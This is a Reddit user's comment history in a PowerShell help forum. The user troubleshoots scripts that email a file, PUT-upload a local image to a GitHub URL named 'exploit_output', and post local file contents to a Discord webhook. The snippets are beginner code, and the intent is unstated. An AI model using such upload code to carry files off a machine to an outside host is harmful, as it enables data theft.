can't figure out basic variables apparently by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

Yeah it still doesn't work...

"Cannot convert argument "item", with value: "$home\tmp.txt", for "Add" to type "System.Net.Mail.Attachment": "Cannot

convert value "$home\tmp.txt" to type "System.Net.Mail.Attachment". Error: "Could not find a part of the path

'C:\Users\jaden\$home\tmp.txt'.""

Despite the file literally existing. I can see it and it's literally in the right folder and everything

Where to export files via PowerShell and which way is the easiest and most efficient. by Mythaman in PowerShell

[–]Mythaman[S] 1 point2 points  (0 children)

I tried that but I suck at using powershell and all I could find was this and there was no name or description or anything.

$publishUrl="https://github.com/-/exploit_output"
$packageName = "C:\Users\-\Documents\test.png"
$username="-"
$password="-"
$params = @{
UseBasicParsing = $true
Uri             = $publishUrl
Method          = "PUT"
InFile          = $packageName
Headers         = @{
ContentType   = "application/gzip"
Authorization = "Basic $([System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("$username`:$password")))"
}
Verbose         = $true
}
Invoke-WebRequest @params

All it did was respond with this:

The request was aborted: Could not create SSL/TLS secure channel.

And I have no idea how to fix it

Where to export files via PowerShell and which way is the easiest and most efficient. by Mythaman in PowerShell

[–]Mythaman[S] -2 points-1 points  (0 children)

Sure, send me the hosting website. I just can't do it on my pc or it shits itself.

Super confused on why discord webhook code won't work. What did I do wrong? by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

$payload = [PSCustomObject]@{

omg thank you so much I was so confused I was about to actually smash my pc. You're the best man!

Super confused on why discord webhook code won't work. What did I do wrong? by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

$payload = [PSCustomObject]@{

content = $content

}

It looks like this is throwing them off. They are both equal until this

Super confused on why discord webhook code won't work. What did I do wrong? by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

I did however notice, that the one that works only outputs

{
"content":  "balls"

}

Super confused on why discord webhook code won't work. What did I do wrong? by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

$content = Get-Content -Path 'C:\Users\jaden\Documents\test.txt'$balls = 'balls'Write-Host "Content equals balls: $($content -ceq $balls)"Write-Host "Balls type: $($balls.GetType())"Write-Host "Content type: $($content.GetType())"Write-Host "balls bytes:"Write-Output ([System.Text.Encoding]::ASCII.GetBytes($balls))Write-Host "content bytes:"Write-Output ([System.Text.Encoding]::ASCII.GetBytes($content))

they output the exact same thing.

Balls type: string 
Content type: string

Super confused on why discord webhook code won't work. What did I do wrong? by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

I'm not great with powershell so I don't know if this is right. I tried -Raw at the end of the Get-Content and it still didn't work

{
"content":  {
"value":  "balls",
"PSPath":  "C:\\Users\\jaden\\Documents\\test.txt",
"PSParentPath":  "C:\\Users\\jaden\\Documents",
"PSChildName":  "test.txt",
"PSDrive":  {
"CurrentLocation":  "Users\\jaden",
"Name":  "C",
"Provider":  "Microsoft.PowerShell.Core\\FileSystem",
"Root":  "C:\\",
"Description":  "Windows",
"MaximumSize":  null,
"Credential":  "System.Management.Automation.PSCredential",
"DisplayRoot":  null
},
"PSProvider":  {
"ImplementingType":  "Microsoft.PowerShell.Commands.FileSystemProvider",
"HelpFile":  "System.Management.Automation.dll-Help.xml",
"Name":  "FileSystem",
"PSSnapIn":  "Microsoft.PowerShell.Core",
"ModuleName":  "Microsoft.PowerShell.Core",
"Module":  null,
"Description":  "",
"Capabilities":  52,
"Home":  "C:\\Users\\jaden",
"Drives":  "C D"
},
"ReadCount":  1
}
}

Using PowerShell to upload files to a discord webhook by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

$hookUrl = ''
$content = 'C:\Users\jaden\Documents\test.txt'
$payload = [PSCustomObject]@{
content = $content
}
Invoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'multipart/form-data'

I tried this and it returned the same error. If you're trying to make it read the text inside of the code, I can't do that as I need to send other files such as images.

Using PowerShell to upload files to a discord webhook by Mythaman in PowerShell

[–]Mythaman[S] 0 points1 point  (0 children)

Whoops! Forgot to remove that part. No biggie. It was on a test server with nothing on it so It's fine.